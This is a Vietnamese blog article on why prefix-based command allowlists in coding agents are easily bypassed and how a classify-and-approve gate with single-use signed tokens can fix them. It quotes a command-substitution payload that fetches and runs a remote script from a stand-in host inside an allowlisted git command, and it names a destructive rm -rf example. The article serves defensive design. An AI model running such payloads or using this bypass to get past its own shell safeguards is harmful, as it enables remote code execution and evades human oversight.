Originally published on NextFuture
Bạn thêm git vào allowlist của Claude Code để agent khỏi hỏi mỗi lần chạy lệnh. Ba tuần sau bạn nhận ra cái allowlist đó chỉ đọc đúng token đầu tiên của command. Bài này chỉ ra chỗ vỡ của allowlist phẳng và cách dựng lớp gate có phân loại thật trước khi agent chạm vào shell.
Allowlist phẳng chỉ đọc chữ đầu tiên
Theo bài viết của tác giả agent-exec-guard, phần lớn allowlist trong các agent hiện nay "chỉ kiểm tra xem command có bắt đầu bằng một từ an toàn hay không" — git, npm, ls, cái nào mở đầu bằng đó là được cho qua.
Tác giả dẫn CVE-2026-22708 trên Cursor làm ví dụ: bạn có thể nhét payload vào trong một lệnh đã allowlist như git branch và nó vẫn chạy, "vì phần kiểm tra không bao giờ đọc quá token đầu tiên". Shape thực tế của lỗ hổng, theo bài viết, có dạng:
git branch "$(curl evil.sh | sh)"
Allowlist theo prefix không phải policy về hành vi, nó là string matching: command substitution, pipe và redirect đều nằm ngoài tầm nhìn của nó.
Ba nhãn thay cho một danh sách
Cách tiếp cận mà bài viết mô tả là parse command thành AST thật rồi phân loại thành ba nhóm, thay vì so khớp chuỗi:
SAFE — khớp một rule đã verify, chạy ngay, không ngắt luồng làm việc.
BLOCKED — khớp pattern nguy hiểm đã biết: truy cập secrets, xoá diện rộng, exfiltration, command substitution nhét trong argument.
UNCERTAIN — mọi thứ không rơi rõ vào hai nhóm trên thì escalate cho người, phải approve tường minh mới chạy.
Ví dụ tác giả đưa ra: git status là SAFE, rm -rf / là BLOCKED, còn git push --force origin main là UNCERTAIN — cần approve. Nhóm thứ ba là phần đáng chú ý: nó biến "không chắc" từ lỗ hổng mặc định thành trạng thái có người chịu trách nhiệm.
Ở bước approve, bài viết dùng một signed, single-use HMAC token gắn với checksum của đúng command đó. Hệ quả: agent không thể tự khai "người đã approve cái này", vì chỉ một hành động approve thật mới sinh ra token hợp lệ và token đó chỉ dùng cho một command. Đây là project của chính tác giả, mới ở mốc v0.1, chạy như MCP server qua npx agent-exec-guard — đọc nó như một pattern tham khảo, không phải lớp bảo vệ đã kiểm định độc lập.
Tách autonomy khỏi authority
Một bài phân tích khác trong tuần gọi tên nguyên nhân gốc. Tác giả định nghĩa autonomy là những gì agent được phép quyết định, còn authority là những gì nó được phép thực thi: tool call, API write, database mutation.
Luận điểm chính, theo tác giả: "một model mạnh hơn không đương nhiên được nhận nhiều authority hơn". Authority phải do policy và control nằm ngoài model quản, không do model reason tốt tới đâu. Tác giả cho rằng phần lớn pilot agentic thất bại trong production không vì chất lượng model, mà vì không ai định nghĩa trước ba câu hỏi: cái gì được chạy không cần giám sát, cái gì cần người approve, cái gì phải nằm ngoài scope.
Nếu bỏ trống ba câu đó, bài viết mô tả hai kiểu vỡ: over-constrained — agent bị siết tới mức không tạo ra giá trị; và under-governed — hành động sai đầu tiên đủ để giết niềm tin vào cả project.
Việc nên làm tuần này
Mở config agent của bạn và đọc lại allowlist với đúng một câu hỏi: rule này chặn theo hành vi, hay chặn theo chữ đầu tiên? Nếu là chữ đầu tiên, hãy ghi ra ba nhóm SAFE / BLOCKED / UNCERTAIN cho repo của bạn trước khi đi tìm tool — danh sách đó là phần khó, tool chỉ thi hành. Các lệnh không hoàn tác được (force push, migration, xoá bucket) nên nằm ở nhóm cần người approve, kể cả khi bạn vừa đổi sang model mạnh hơn.
This article was originally published on NextFuture. Follow us for more fullstack & AI engineering content.
Top comments (0)